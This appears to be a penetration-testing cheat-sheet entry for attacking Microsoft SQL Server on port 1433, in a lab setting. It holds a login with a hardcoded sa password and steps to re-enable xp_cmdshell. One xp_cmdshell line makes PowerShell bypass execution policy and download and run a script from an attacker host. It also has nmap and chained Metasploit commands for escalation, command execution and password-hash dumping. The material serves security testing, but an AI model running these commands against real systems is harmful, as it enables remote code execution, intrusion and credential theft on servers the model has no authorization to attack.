Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

Tip

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